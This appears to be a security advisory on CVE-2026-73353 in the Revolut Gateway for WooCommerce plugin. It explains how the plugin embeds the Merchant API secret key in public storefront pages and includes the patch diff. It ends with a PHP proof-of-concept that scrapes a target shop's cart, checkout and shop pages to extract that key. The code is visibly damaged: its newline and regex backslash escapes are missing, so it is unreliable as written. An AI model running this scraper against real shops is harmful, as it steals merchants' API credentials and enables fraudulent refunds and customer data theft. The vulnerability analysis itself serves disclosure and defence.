Atomic Edge analysis of CVE-2026-73353:
This vulnerability exposes sensitive configuration data from the Revolut Gateway for WooCommerce plugin through an information disclosure flaw. Affecting versions up to and including 4.22.9, the flaw allows unauthenticated attackers to access the Merchant API secret key. The issue carries a CVSS score of 5.3 and is classified under CWE-862 (Missing Authorization).
The root cause resides in the `revolut_payment_request_method_data()` function located in `revolut-gateway-for-woocommerce/includes/class-wc-gateway-revolut-blocks-support.php`. This private method was responsible for compiling data to be serialized directly into the storefront page for unauthenticated visitors. The vulnerable implementation used `array_merge()` to combine the entire `woocommerce_revolut_payment_request_settings` option with other public gateway data. This option is the central storage for all Revolut payment request configuration, including sensitive fields such as the Merchant API secret key used for Apple Pay on-boarding. Since the function output was embedded in the page without any authentication or authorization check, it exposed the secret key to any visitor.
Exploitation is straightforward and requires no authentication. An attacker first retrieves the shop’s homepage or any page that renders the payment request button. The vulnerable serialized data is embedded within the page’s JavaScript output. The attacker then parses the page source to extract the value of the `merchant_api_secret_key` or similarly named parameter from the serialized JSON. With this secret key in hand, the attacker can impersonate the merchant to Revolut’s API, potentially initiate unauthorized refunds, or access sensitive customer payment data.
The patch in version 4.22.10 corrects this by removing the `array_merge()` call and the inclusion of the `woocommerce_revolut_payment_request_settings` option. The patched `revolut_payment_request_method_data()` function now returns only a hardcoded whitelist of safe, non-sensitive fields: `payment_method_name`, `title`, `can_make_payment`, `is_cart`, and `styles`. This ensures that no configuration data leaks to public-facing pages, directly mitigating the information disclosure.
The primary impact is the exposure of the Revolut Merchant API secret key to any unauthenticated user. This credential grants full access to the merchant’s Revolut business account API. An attacker can leverage this to perform unauthorized actions, including initiating fraudulent refunds, querying customer and transaction data, or potentially disrupting payment operations. The severity is elevated because the compromised credential affects the wider Revolut system, not just the WordPress installation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/revolut-gateway-for-woocommerce/gateway-revolut.php
+++ b/revolut-gateway-for-woocommerce/gateway-revolut.php
@@ -6,7 +6,7 @@
* Author: Revolut
* Author URI: https://www.revolut.com/business/online-payments
* Text Domain: revolut-gateway-for-woocommerce
- * Version: 4.22.9
+ * Version: 4.22.10
* Requires at least: 4.4
* Tested up to: 7.0.2
* WC tested up to: 9.4.3
@@ -15,7 +15,7 @@
defined( 'ABSPATH' ) || exit;
define( 'REVOLUT_PATH', plugin_dir_path( __FILE__ ) );
-define( 'WC_GATEWAY_REVOLUT_VERSION', '4.22.9' );
+define( 'WC_GATEWAY_REVOLUT_VERSION', '4.22.10' );
define( 'WC_GATEWAY_PUBLIC_KEY_ENDPOINT', '/public-key/latest' );
define( 'WC_GATEWAY_REVPAY_INDEX', 'USE_REVOLUT_PAY_2_0' );
define( 'WC_REVOLUT_WAIT_FOR_ORDER_TIME', 2 );
--- a/revolut-gateway-for-woocommerce/includes/class-wc-gateway-revolut-blocks-support.php
+++ b/revolut-gateway-for-woocommerce/includes/class-wc-gateway-revolut-blocks-support.php
@@ -204,19 +204,20 @@
}
/**
- * Returns revolut pay fields
+ * Returns payment request fields
+ *
+ * This data is serialised into the storefront page for unauthenticated visitors, so only the keys
+ * listed below may be returned. The woocommerce_revolut_payment_request_settings option must never
+ * be exposed here: Apple Pay on-boarding stores the Merchant API secret key inside it.
*/
private function revolut_payment_request_method_data() {
try {
- return array_merge(
- get_option( 'woocommerce_revolut_payment_request_settings', array() ),
- array(
- 'payment_method_name' => $this->payment_request_gateway->id,
- 'title' => $this->payment_request_gateway->title,
- 'can_make_payment' => $this->payment_request_gateway->page_supported(),
- 'is_cart' => is_cart(),
- 'styles' => $this->payment_request_gateway->get_prb_button_styles(),
- )
+ return array(
+ 'payment_method_name' => $this->payment_request_gateway->id,
+ 'title' => $this->payment_request_gateway->title,
+ 'can_make_payment' => $this->payment_request_gateway->page_supported(),
+ 'is_cart' => is_cart(),
+ 'styles' => $this->payment_request_gateway->get_prb_button_styles(),
);
} catch ( Throwable $e ) {
--- a/revolut-gateway-for-woocommerce/vendor/composer/installed.php
+++ b/revolut-gateway-for-woocommerce/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'woocommerce/revolut-gateway-for-woocommerce',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '79bf5a109b0ca33f495b5445595ccfd6cdaddf67',
+ 'reference' => '27a1e488f6adf46f75a4390ce159097fbb94f41e',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -22,7 +22,7 @@
'woocommerce/revolut-gateway-for-woocommerce' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '79bf5a109b0ca33f495b5445595ccfd6cdaddf67',
+ 'reference' => '27a1e488f6adf46f75a4390ce159097fbb94f41e',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-73353 - Revolut Gateway for WooCommerce < 4.22.10 - Missing Authorization
// Configuration: Set the target WordPress site URL
$target_url = 'https://example.com'; // Change this to the target site's URL
// Step 1: Discover a page that includes the payment request data.
// Typically this is the cart, checkout, or product page.
// We'll attempt a few common paths.
$paths_to_try = array(
'/',
'/cart/',
'/checkout/',
'/?post_type=product',
'/shop/',
);
$found_data = null;
$ch = curl_init();
foreach ($paths_to_try as $path) {
$url = $target_url . $path;
echo "[*] Trying URL: $urln";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if ($response === false) {
echo "[!] cURL error: " . curl_error($ch) . "n";
continue;
}
// Step 2: Search the HTML/JS output for the exposed settings.
// Look for the serialized data, which might be in a script tag or a data attribute.
// The data was previously merged into a global JS variable or a JSON-encoded block.
if (preg_match_all('/woocommerce_revolut_payment_request_settings.{0,500}/s', $response, $matches)) {
echo "[+] Found vulnerable data on $urln";
foreach ($matches[0] as $match) {
echo "[+] Extracted data snippet (truncated): " . substr($match, 0, 500) . "n";
}
$found_data = true;
break;
}
// Also check for a more specific pattern where the settings are JSON encoded.
// This is a common pattern in WooCommerce blocks.
if (preg_match_all('/"woocommerce_revolut_payment_request_settings"s*:s*({.+?})/', $response, $json_matches)) {
echo "[+] Found JSON-encoded settings on $urln";
foreach ($json_matches[1] as $json_match) {
echo "[+] Extracted JSON data: " . $json_match . "n";
}
$found_data = true;
break;
}
}
curl_close($ch);
if ($found_data !== true) {
echo "[-] The target site did not appear to be vulnerable on the checked paths.n";
echo "[-] The data may be present on a different page, or the site may be patched.n";
} else {
echo "[+] Exploitation attempt complete. Check the extracted data for the 'merchant_api_secret_key' parameter.n";
}
?>
